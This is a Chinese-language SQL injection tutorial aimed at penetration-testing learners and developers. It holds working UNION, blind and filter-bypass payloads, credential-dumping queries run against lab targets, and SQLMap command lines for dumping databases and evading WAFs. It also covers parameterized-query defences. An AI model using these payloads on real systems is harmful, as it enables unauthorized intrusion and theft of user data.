SQL注入攻防实战：从原理剖析到自动化工具利用

1. 项目概述：从“万能钥匙”到“系统后门”的SQL注入

如果你在网络安全领域摸爬滚打过一阵子，或者哪怕只是看过几部黑客题材的电影，对“SQL注入”这个词也绝对不会陌生。它就像一把古老的“万能钥匙”，虽然技术原理听起来并不复杂，但时至今日，依然是Web安全领域最常见、危害也最直接的漏洞之一。简单来说，SQL注入就是攻击者通过在Web应用的可控输入点（比如登录框、搜索框、URL参数）中，精心构造一段特殊的SQL代码，并“注入”到后端数据库查询语句中。如果应用没有做好防护，这段恶意代码就会被数据库引擎执行，从而让攻击者能够绕过身份验证、窃取敏感数据、篡改甚至删除数据库内容。

我见过太多因为一个简单的注入点而导致整个用户数据库泄露的案例。从早期的“’ or ‘1’=’1”绕过登录，到如今各种复杂的绕过WAF（Web应用防火墙）的技巧，SQL注入的攻击手法在不断“进化”，但核心原理始终未变：应用程序将用户输入的数据与SQL查询语句进行了“字符串拼接”，而非“参数化”处理。这导致用户输入被当成了代码的一部分来执行，而非单纯的数据。理解这一点，是理解所有SQL注入变种的基础。无论是新手想入门Web安全，还是开发人员想从根本上堵住漏洞，深入理解SQL注入的原理、利用手法和防御策略，都是一门必修课。接下来，我将以一个从业者的视角，带你从原理到实战，彻底拆解SQL注入。

2. SQL注入的核心原理与分类拆解

要打好防御战，首先得摸透敌人的进攻路线。SQL注入之所以能发生，根源在于应用程序对用户输入的处理逻辑存在缺陷。我们从一个最简单的场景开始拆解。

2.1 漏洞产生的根本原因：字符串拼接之殇

假设我们有一个经典的登录功能，后端PHP代码可能是这样的：

$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $sql);

这段代码的逻辑很直观：获取用户输入的用户名和密码，拼接到SQL语句中，然后查询数据库。在正常情况下，用户输入admin和123456，生成的SQL语句是：

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

这没问题。但如果攻击者在用户名输入框里输入的不是admin，而是admin' --（注意最后有一个空格），那么拼接后的SQL语句就变成了：

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'

在SQL中，--是单行注释符，它会让其后的所有内容都被数据库忽略。于是，这条查询的实际效果变成了：

SELECT * FROM users WHERE username = 'admin'

它只校验用户名是否为admin，完全绕过了密码检查！如果数据库中恰好存在用户名为admin的记录，攻击者就能直接登录成功。这就是最经典的“万能密码”绕过。其根本原因在于，开发者天真地认为用户输入永远是“数据”，但攻击者却将其作为“代码”注入到了查询逻辑中。

注意：这里演示的是最原始的情况。在实际中，密码通常不会明文存储，而是存储哈希值。但原理相同，攻击者可以构造输入，使查询条件恒真（如‘ or ‘1’=’1），同样能达到绕过验证的目的。

2.2 主要注入类型与判断方法

根据注入点参数被拼接到SQL语句中的方式不同，我们可以将SQL注入分为两大类。判断类型是手工注入的第一步。

2.2.1 数字型注入注入点的参数在SQL语句中被作为整数使用。例如，查询文章详情的URL：/news.php?id=1，对应的SQL可能为：

SELECT title, content FROM news WHERE id = 1

判断方法：尝试在参数后添加数学运算。

  • 原始请求：id=1返回正常文章。
  • 测试请求1：id=1-1。如果应用拼接为WHERE id = 1-1（即WHERE id = 0），而id=0的文章不存在，页面可能显示异常或为空。但这还不够。
  • 测试请求2：id=1 and 1=1。拼接为WHERE id = 1 and 1=1，逻辑永真，应返回与id=1相同的结果。
  • 测试请求3：id=1 and 1=2。拼接为WHERE id = 1 and 1=2，逻辑永假，应返回空或异常。 如果and 1=1正常而and 1=2异常，则极可能存在数字型注入。数字型注入在构造Payload时通常不需要闭合引号。

2.2.2 字符型注入注入点的参数在SQL语句中被字符串引号（单引号’或双引号”）包裹。例如，根据用户名查询：/user.php?name=admin，SQL可能为：

SELECT * FROM users WHERE name = 'admin'

判断方法：尝试闭合引号并注释掉后续部分。

  • 原始请求：name=admin返回正常。
  • 测试请求1：name=admin’。拼接为WHERE name = ‘admin’’，引号未配对，语法错误，数据库会报错，页面可能显示数据库错误信息（这是最明显的标志）。
  • 测试请求2：name=admin’ and ‘1’=’1。拼接为WHERE name = ‘admin’ and ‘1’=’1’，逻辑永真，应返回与name=admin相同结果。
  • 测试请求3：name=admin’ and ‘1’=’2。逻辑永假，应返回空。 如果符合上述情况，则为字符型注入。字符型注入在构造Payload时，必须先闭合前面的引号，然后编写恶意代码，最后还要处理掉原SQL语句中后面的引号（通常用注释符--或#）。

2.2.3 其他衍生类型

  • 搜索型注入：常见于搜索功能，参数通常被包裹在LIKE ‘%keyword%’中。测试时需要闭合引号和百分号，如keyword’)%20--。
  • JSON注入、XML注入：原理类似，但注入的上下文变成了JSON或XML查询语句（如某些NoSQL数据库），需要根据具体语法进行闭合。

区分注入类型至关重要，它直接决定了你后续构造Payload的方式。一个快速记忆法：如果页面参数是数字（如ID、页码），先猜数字型；如果是名称、关键词，先猜字符型。通过添加引号、逻辑运算来观察页面响应变化，是判断的不二法门。

3. 手工注入实战：从信息搜集到数据获取

理解了原理和类型，我们进入实战环节。手工注入就像外科手术，能让你对漏洞有最深刻的理解。我们以一个假设的字符型注入点/user.php?id=1（实际应为字符型，例如SQL为WHERE id = ‘1’）为例，演示完整过程。靶场环境（如DVWA、Pikachu）是绝佳的练习场。

3.1 第一步：侦察与确认注入点

首先，我们需要确认这里是否存在SQL注入，并确定其类型。

  1. 正常访问：/user.php?id=1，页面显示用户1的信息。
  2. 诱发错误：/user.php?id=1’。页面返回数据库错误（如“You have an error in your SQL syntax…”），这强烈暗示存在字符型注入，且错误信息被直接回显，这非常有利于攻击。
  3. 逻辑测试：
    • id=1’ and ‘1’=’1：页面正常显示用户1信息。
    • id=1’ and ‘1’=’2：页面空白或显示“用户不存在”。 逻辑测试通过，确认存在字符型SQL注入漏洞，并且页面内容会随SQL逻辑真假而变化，这属于“基于布尔”的注入，是后续利用的基础。

3.2 第二步：探测数据库结构

确认漏洞后，我们要摸清数据库的“地形”。

  1. 查询字段数：为后续联合查询做准备，使用ORDER BY子句。

    • id=1’ order by 1 --：正常。
    • id=1’ order by 2 --：正常。
    • id=1’ order by 5 --：正常。
    • id=1’ order by 6 --：报错“Unknown column ‘6’ in ‘order clause’”。 这说明当前查询结果集有5个字段。ORDER BY n表示按第n列排序，如果n超过总列数就会报错。

  2. 确定回显点：联合查询UNION SELECT要求前后查询的列数一致。我们需要找出在页面中显示出来的字段位置（回显点）。

    • id=1’ union select 1,2,3,4,5 --访问这个链接，页面可能会显示用户1的信息，也可能显示数字2、3、4、5中的几个。这些数字出现的位置，就是我们可以用来回显数据库信息的地方。假设数字2和4在页面上显示了出来。

3.3 第三步：拖取数据库信息

现在，我们可以把UNION SELECT后面的数字替换成我们想查询的函数，信息就会显示在页面的回显点上。

  1. 获取当前数据库名和用户：

    • id=1’ union select 1, database(), user(), version(), 5 --这样，database()（当前数据库名）和user()（当前数据库用户）的结果就会显示在页面原本显示数字2和3的位置。version()可以获取数据库版本，这对后续寻找特定版本的漏洞很有帮助。

  2. 列出所有数据库（以MySQL为例）：

    • id=1’ union select 1, group_concat(schema_name),3,4,5 from information_schema.schemata --information_schema.schemata表存储了所有数据库的信息。group_concat()函数将多行结果合并成一个字符串，方便查看。

  3. 获取当前数据库的所有表名：

    • id=1’ union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() --这会列出当前数据库下的所有表，你可能会看到users,admin,password等敏感表名。

  4. 获取指定表的所有列名：

    • 假设我们对users表感兴趣。
    • id=1’ union select 1, group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=‘users’ --这会列出users表的所有列，如id,username,password,email。

  5. 最终一击：拖取数据：

    • id=1’ union select 1, group_concat(username, ‘:’, password),3,4,5 from users --这条语句将users表中的用户名和密码（假设是明文，现实中多是哈希值）合并查询出来，并以冒号分隔，一次性获取所有敏感数据。

实操心得：手工注入的过程是高度交互的，你需要像侦探一样，根据每一步的页面反馈（正常、错误、内容变化）来调整下一步的Payload。在真实环境中，错误信息可能被屏蔽，页面可能不会直接回显数据（盲注），这就需要更复杂的基于时间或布尔的盲注技术。但无论如何，information_schema数据库是MySQL/MariaDB中信息搜集的“百科全书”，必须熟练掌握其结构。

4. 自动化利器：SQLMap的核心使用与高级技巧

手工注入能练手，但效率低。在实际渗透测试或CTF比赛中，SQLMap是无人不知的自动化神器。它不仅能自动检测注入点，还能利用漏洞完成从数据获取到系统提权的全过程。但要用好它，不能只会sqlmap -u “URL”。

4.1 基础探测与数据获取

假设我们已确认http://target.com/user.php?id=1存在注入。

  1. 最基本的检测：

    sqlmap -u “http://target.com/user.php?id=1”

    SQLMap会自动使用大量Payload测试所有参数（这里是id），并识别注入类型、数据库类型等。

  2. 指定参数和数据库类型（提高效率）：

    sqlmap -u “http://target.com/user.php?id=1” -p id --dbms=mysql

    -p指定测试的参数，--dbms指定数据库类型，可以跳过对其他数据库的测试，更快出结果。

  3. 获取当前数据库和用户：

    sqlmap -u “http://target.com/user.php?id=1” --current-db --current-user

  4. 列出所有数据库：

    sqlmap -u “http://target.com/user.php?id=1” --dbs

  5. 列出指定数据库的所有表：

    sqlmap -u “http://target.com/user.php?id=1” -D database_name --tables

  6. 列出指定表的所有列：

    sqlmap -u “http://target.com/user.php?id=1” -D database_name -T table_name --columns

  7. 拖取数据：

    sqlmap -u “http://target.com/user.php?id=1” -D database_name -T table_name -C “username,password” --dump

    --dump会将指定列的数据全部下载并保存到本地。

4.2 应对复杂场景的高级参数

真实环境往往没这么友好，你需要更多技巧。

  1. 处理Cookie与Session：如果页面需要登录，必须携带Cookie。

    sqlmap -u “http://target.com/user.php?id=1” --cookie=“PHPSESSID=abc123…”

    或者使用-r参数加载一个包含完整HTTP请求头的文件（从Burp Suite复制过来非常方便）。

  2. 盲注模式：当页面没有错误回显和数据直接回显时，SQLMap会自动切换到盲注（Boolean-based或Time-based）。

    • 基于时间的盲注：sqlmap -u “URL” --technique=T。SQLMap会通过让数据库执行睡眠函数（如SLEEP(5)）来观察响应时间，从而判断注入是否成功。

  3. 绕过WAF：Web应用防火墙会拦截常见攻击Payload。SQLMap提供了一些篡改脚本（tamper script）来绕过。

    sqlmap -u “URL” --tamper=space2comment,between

    space2comment将空格替换为/**/，between替换>为BETWEEN语句，这些简单的混淆常常能绕过简单的规则匹配。

  4. 提高速度和降低风险：

    • --threads=10：使用10个线程并发，加快检测速度。
    • --risk=3 --level=5：提高测试的风险和级别，使用更多、更危险的Payload，但可能触发警报。
    • --batch：以非交互模式运行，所有默认选项都选Yes，适合自动化。

注意事项：使用SQLMap进行未经授权的测试是违法的。务必仅在你自己拥有完全控制权的环境（如本地靶场、授权渗透测试项目）中使用。在CTF比赛中，也要遵守规则。另外，--dump操作会产生大量数据库查询，在真实生产环境中极易被监控发现，务必谨慎。

5. 防御编码：从根源上杜绝SQL注入

作为开发者，理解攻击是为了更好的防御。防止SQL注入，核心原则就一条：永远不要信任用户输入，严格区分代码和数据。以下是经过实践检验的、层层递进的防御方案。

5.1 首选方案：参数化查询（预编译语句）

这是唯一被公认为能从根本上防止SQL注入的方法。其原理是将SQL语句的“结构”与“数据”分开发送。数据库先编译带占位符的SQL模板，确定执行逻辑，然后再将用户输入的数据作为“参数”绑定进去。此时，即使参数中包含SQL元字符（如单引号），也只会被当作普通字符串数据来处理，而不会被解析为SQL代码。

以PHP的PDO为例：

// 不安全的拼接方式 // $sql = “SELECT * FROM users WHERE username = ‘“ . $_POST[‘username’] . “‘ AND password = ‘“ . $_POST[‘password’] . “‘”; // 安全的参数化查询 $sql = “SELECT * FROM users WHERE username = :username AND password = :password”; $stmt = $pdo->prepare($sql); $stmt->execute([ ‘:username’ => $_POST[‘username’], ‘:password’ => $_POST[‘password’] // 密码应在前端哈希后传输，后端再进行一次哈希校验 ]);

以Python的SQLAlchemy为例：

from sqlalchemy import text sql = text(“SELECT * FROM users WHERE username = :username AND password = :password”) result = conn.execute(sql, {‘username’: username, ‘password’: password_hash})

以Java的PreparedStatement为例：

String sql = “SELECT * FROM users WHERE username = ? AND password = ?”; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, passwordHash); ResultSet rs = pstmt.executeQuery();

参数化查询应该成为所有数据库操作的首选和标准写法。

5.2 补充措施：输入验证与输出编码

参数化查询是核心，但良好的安全实践需要纵深防御。

  1. 严格的输入验证：

    • 白名单原则：对于已知有限集合的输入（如状态、类型），只接受预定义的值。例如，$type = $_GET[‘type’]; if (!in_array($type, [‘news’, ‘blog’])) { die(‘Invalid type’); }。
    • 类型强制转换：对于数字型ID，在拼接前强制转换为整数：$id = (int)$_GET[‘id’];。
    • 长度限制：对用户名、邮箱等输入进行合理的长度限制，防止过长的恶意Payload。

  2. 最小权限原则：

    • 为Web应用连接数据库分配一个权限尽可能低的账户。这个账户通常只拥有对特定业务表的SELECT、INSERT、UPDATE、DELETE权限，绝对不要赋予DROP、CREATE TABLE、FILE、PROCESS等高级权限。这样即使发生注入，危害也被限制在最小范围。

  3. 安全的错误处理：

    • 永远不要将原始数据库错误信息直接展示给用户。这些信息（如数据库类型、表结构、字段名）是攻击者的“地图”。应该记录错误日志到服务器文件，而给用户返回一个通用的友好错误页面。

  4. Web应用防火墙：

    • WAF可以作为最后一道防线，通过规则匹配来拦截常见的攻击Payload。但它是一种基于特征的检测，可能存在被绕过（如通过编码、变形）的风险，因此不能替代安全的编码实践。

5.3 常见误区与无效防御

有些方法曾被广泛使用，但已被证明是无效或不完全的，需要避免依赖。

  • 字符串过滤/转义（如addslashes,mysql_real_escape_string）：在特定字符集（如GBK）下可能存在宽字节注入等绕过方式。而且，对于数字型注入，转义函数完全无用。它治标不治本，且容易因忘记使用或使用不当而失效。
  • 存储过程：如果存储过程内部依然使用动态SQL拼接，同样存在注入风险。安全的存储过程应使用参数。
  • 正则表达式过滤关键词：如过滤SELECT、UNION、DROP等。攻击者可以通过大小写变换、双写、编码（如SELSELECTECT）等方式轻松绕过。这是一种典型的“黑名单”思维，永远无法穷尽所有变种。

防御的核心思想是：把参数化查询作为铁律，把输入验证作为习惯，把最小权限作为准则，把WAF和错误处理作为补充。多层防御共同构成一个相对安全的环境。

6. 高级利用与绕过技巧实录

在实战和CTF中，你很少会遇到那种直接回显的简单注入点。更多的挑战来自于各种过滤和限制。这里记录几个我遇到过的典型场景和绕过思路。

6.1 绕过简单的关键词过滤

假设后端代码过滤了SELECT、UNION等关键词。

  • 双写绕过：如果过滤逻辑是简单地删除关键词，可以尝试SELSELECTECT，删除中间的SELECT后，剩下的字符又组成了SELECT。
  • 大小写混合：SeLeCt、UnIoN。有些简单的过滤是大小写敏感的。
  • 内联注释（MySQL特有）：/*!SELECT*/。在/*!和*/之间的内容，只有特定版本以上的MySQL才会执行，常被用来绕过对空格的过滤或混淆关键词。
  • 编码绕过：URL编码、十六进制编码、Unicode编码等。例如，将SELECT的每个字符进行URL编码：%53%45%4c%45%43%54。或者将字符串转换为十六进制：0x53454c454354，然后在SQL中通过UNHEX()函数或直接拼接使用。
  • 等价函数/语句替换：
    • SUBSTRING()可以用MID()、SUBSTR()替换。
    • =‘admin’可以用LIKE ‘admin’或IN (‘admin’)替换。
    • AND可以用&&替换，OR可以用||替换（取决于数据库）。

6.2 盲注：当没有回显时

这是最常见的“困难模式”。页面不会显示数据库数据，也不会报错，只会根据查询结果返回“正常”或“异常”两种状态（布尔盲注），或者通过响应时间的长短来传递信息（时间盲注）。

  • 布尔盲注思路：通过构造条件，逐个字符地猜测数据。 例如，猜测当前数据库名的第一个字符：id=1’ and ascii(substr(database(),1,1))>100 --如果页面正常，说明ASCII码大于100；如果异常，则小于等于100。通过二分法，可以快速定位到准确的ASCII码，从而得知字符。这个过程极其繁琐，必须依赖自动化脚本（如SQLMap的--technique=B）。
  • 时间盲注思路：通过SLEEP()或BENCHMARK()函数，让数据库根据条件执行延时。 例如：id=1’ and if(ascii(substr(database(),1,1))>100, sleep(5), 1) --如果第一个字符的ASCII码大于100，页面响应会延迟5秒；否则立即返回。通过测量响应时间来判断条件真假。SQLMap的--technique=T就是做这个的。

实操心得：手工进行盲注是对耐心和细心的极大考验。在CTF中，我通常会先用手工确认一下注入类型和盲注的基本逻辑，然后立刻上SQLMap，设置好--technique和--level参数，让它去跑。自己则把精力放在分析更复杂的过滤逻辑上。

6.3 二次注入与非常规注入点

  • 二次注入：这是一种更隐蔽的注入。应用在存入用户输入时进行了正确的转义（所以第一次入库是安全的），但在后续的某个逻辑中，又从数据库里取出了这个“被污染”的数据，未经转义地拼接到新的SQL语句中执行。防御二次注入，要求在所有从不可信源（包括数据库！）取数据并拼接SQL的地方，都使用参数化查询。
  • 非常规注入点：注入点不一定在?id=这样的GET参数里。任何用户可控且会被拼接到SQL中的地方都是潜在的注入点：
    • HTTP头部：User-Agent、X-Forwarded-For、Referer。有些应用会记录这些信息到数据库。
    • Cookie值。
    • POST请求的JSON或XML正文。
    • 文件上传的文件名。
    • 服务器端请求的参数（SSRF触发的内部SQL查询）。

面对这些场景，渗透测试时需要有一个“万物皆可注入”的思维，用Burp Suite等工具拦截所有请求，对每一个参数进行测试。

7. 靶场实战与工具链整合

理论说得再多，不如亲手练一遍。搭建一个本地靶场是学习Web安全最安全、最有效的方式。这里以Pikachu和DVWA为例，串联起从环境搭建到漏洞利用的完整流程。

7.1 环境搭建与基础配置

  1. 安装集成环境：对于新手，最方便的是使用XAMPP或PHPStudy。它们一键集成了Apache、MySQL、PHP，省去大量配置麻烦。下载安装后，启动Apache和MySQL服务。
  2. 部署靶场：
    • 下载Pikachu或DVWA的源码压缩包。
    • 将其解压到集成环境的网站根目录（如XAMPP的htdocs文件夹）。
    • 在浏览器访问http://localhost/pikachu或http://localhost/dvwa。
  3. 初始化数据库：
    • 根据靶场页面的提示，可能需要点击一个“初始化安装”的链接。
    • 这个过程会自动创建数据库和所需的数据表。
    • 对于DVWA，首次登录默认用户名/密码是admin/password，并且需要在设置页面（DVWA Security）将安全等级调到“Low”，才能进行漏洞练习。

7.2 手工注入实战流程（以Pikachu字符型注入为例）

  1. 进入注入模块：在Pikachu首页，点击“SQL注入” -> “字符型注入(get)” 。
  2. 判断注入点与类型：
    • 在输入框随意输入一个名字，如kobe，提交。观察URL变为…/…/…?name=kobe&submit=查询。
    • 尝试输入kobe’，页面报错，提示SQL语法错误，确认存在字符型注入。
    • 尝试kobe’ and ‘1’=’1和kobe’ and ‘1’=’2，观察页面回显差异，确认基于布尔的注入可用。
  3. 探测字段数：使用kobe’ order by 10 --逐步测试，发现order by 3正常，order by 4报错，说明字段数为3。
  4. 寻找回显点：输入kobe’ union select 1,2,3 --。发现页面在原本显示“邮箱”和“地址”的地方，分别显示了数字2和3。这就是我们的回显点。
  5. 信息搜集：
    • 输入kobe’ union select 1, database(), user() --，在页面上看到当前数据库名和用户。
    • 输入kobe’ union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3 --，获取所有表名。
    • 假设看到有member表，继续查列：kobe’ union select 1, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘member’), 3 --。
    • 最后拖数据：kobe’ union select 1, username, password from member --。

这个过程能让你对SQL注入的每一步都有肌肉记忆。

7.3 使用SQLMap进行自动化测试

手工完成后，再用SQLMap验证和深化。

  1. 复制HTTP请求：在浏览器中提交一次查询（如name=kobe），用Burp Suite或浏览器开发者工具（F12，网络标签）捕获这个请求。将完整的请求（包括Cookie）保存到一个文本文件，比如req.txt。
  2. 使用SQLMap加载请求文件：
    sqlmap -r req.txt -p name --batch
    -r参数让SQLMap从文件中读取请求，它会自动解析注入点。-p name指定我们只测试name这个参数。--batch自动选择默认选项。
  3. 获取数据：根据SQLMap的提示，一步步使用--current-db、--dbs、-D pikachu --tables、-D pikachu -T member --dump等命令，可以自动化地完成我们刚才手工做的所有事情，速度更快，更全面。

7.4 整合到工作流

在实际的渗透测试中，流程通常是这样的：

  1. 信息收集：使用浏览器、爬虫（如Burp的爬虫功能）遍历网站所有功能和参数。
  2. 漏洞扫描：使用自动化扫描器（如AWVS、Nessus）或被动扫描（如Burp的被动扫描）进行初步筛选，发现疑似注入点。
  3. 手工验证：对扫描器报告的每个疑似点，进行手工验证（如加单引号、逻辑测试）。这一步至关重要，可以排除大量误报。
  4. 工具利用：对确认的漏洞，使用SQLMap进行深度利用，获取数据。
  5. 报告编写：记录漏洞URL、参数、类型、Payload、危害证明（如截图、获取的数据样本）以及修复建议。

这个从手工到自动，再从自动回归手工验证的过程，能最大程度保证测试的准确性和深度。靶场练习的意义，就在于将这个流程内化，形成本能。当你再面对一个真实系统时，这套方法论能让你有条不紊地开展工作，而不是毫无头绪地乱试。